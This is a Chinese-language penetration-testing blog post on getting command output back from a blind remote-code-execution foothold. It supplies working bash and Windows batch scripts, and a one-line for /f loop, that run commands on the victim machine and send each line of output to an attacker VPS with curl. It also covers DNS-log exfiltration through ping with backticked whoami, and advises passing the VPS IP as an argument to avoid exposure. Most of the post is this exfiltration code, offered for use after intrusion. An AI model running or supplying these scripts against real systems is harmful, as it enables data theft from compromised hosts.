关于命令执行无回显的那档子事
有时候千辛万苦的拿到一个RCE的入口点或突破点,但是那个RCE点位却无法回显,导致我们执行的任何命令都看不到结果,这样非常影响我们的下一步操作。
获得回显
目前获得回显的主要方式是通过dnslog,但是个人感觉dnslog有些不完美,不可控(只是我不咋会用的原因),这样通过dnslog带外出来的结果,在返回值比较多的情况下不适合逐一查看,所以dnslog基本上仅用于判断是否存在RCE期间使用。
除开dnslog之外,还可以使用httplog将我们执行命令的结果外带出来,由于http的请求是实时的,且无延时无需刷新,我们可快速的获取到执行的结果。
操作步骤
Linux系统
如果已经证明存在RCE点的情况下,且机器出网,则可以远程下载一个小脚本,通过该脚本将我们执行命令的结果通过httplog的方式外带出来。
例子:
vps服务器:192.168.65.10
RCE机器:192.168.65.131
RCE机器下载小脚本,脚本内容如下:
for result in $1
do
curl http://192.168.65.10/$result/
done
该bash脚本通过for循环遍历用户输入的命令结果,并使用curl将命令的结果带入到vps的http服务中,vps查看日志即可获取命令执行的结果。
用法:
由于这里是在RCE机器上演示,所以我们能直接看见返回的结果,切换到vps服务器再次在RCE机器上执行该脚本:
首先使用python在VPS上开启一个http监听
然后RCE机器执行脚本,真实环境下是通过RCE的点位执行这个脚本
vps上的结果
由此可见,whoami执行的结果已经返回到vps上面,执行其他命令同理,若是执行的命令带有空格,则用双引号或者单引号将执行的命令包起来执行即可。
这种方式由于直接将vps的ip写到了脚本里面,更加容易的暴露自己,所以脚本还可以优化为如下方式:
for result in $1
do
curl http://$2/$result/
done
然后执行的时候,在后面加上自己的vps服务器的ip地址即可:
./rce.sh whoami 192.168.65.10
Windows系统
先煮个饭吃再说
++++++++++++
Windows系统原理和Linux系统的原理一致,只是操作上的区别,Linux能直接使用for循环遍历执行命令的结果,但是Windows我未找到实现的方式,通过添加了一些步骤,从而实现了for循环遍历命令执行结果的操作。
Windows的bat脚本如下:
set p1=%1
%p1% > 123.txt
for /F %%i in (123.txt) do curl -I http://192.168.65.10/%%i
del 123.txt
将内容保存为bat文件,然后按如下方式执行。
vps收到的结果
优化的版本如下,自定义IP地址。
set p1=%1
set p2=%2
%p1% > 123.txt
for /F %%i in (123.txt) do curl -I http://%p2%/%%i
del 123.txt
使用方式:
1.bat whoami 192.168.65.10
Windows坑
这种方式,如果接收的参数,不能用双引号或者单引号,然后这样就会导致,执行 dir c:\ 这种命令时会出现问题,如果执行:
1.bat dir c:\
执行这种的时候,会只执行dir这个命令,后面的c:\不会带入到执行结果中,这样实际执行的命令就是:
1.bat dir
vps就会收到这条命令的结果,和实际想要的结果就会不一致。
解决办法,多添加几个用户接收参数的值,可以添加多个,执行命令时不影响,但是若是参数少于执行命令时候的参数,则最终结果会有出入。
for /f %i in ('whoami') do curl -I http://192.168.65.10/%i
这种方式最多支持接受4个参数,反正如果参数可以定义多个,执行命令时候不会受到影响
上面这个bat也可以用于执行whoam等单个命令。
vps接受的结果
这样就解决了多个参数的问题,当然,自定义IP地址的问题,可以将ip地址放在第一位,然后后面传入要执行的命令即可。
总结
之前在网络上见过类似 ping whoami
.xxx.dnslog.xx 在dnslog平台上能接收到whoami的执行结果,但是windows操作系统上,在命令行或者终端执行这种的话不行:
(文章写不出来那个飘的符号,见图)
Windows举例:
vps接收的结果
!
所以Windows中不能以这种方式执行。
Linux里面可以使用`whoami`这种的方式执行命令的,所以根据不同的特性定制相关操作完成就行了。
vps接收的结果
总之就是Windows和Linux的特性不一样,所以需要根据实际情况以及自己测试,实现想要达到的目的。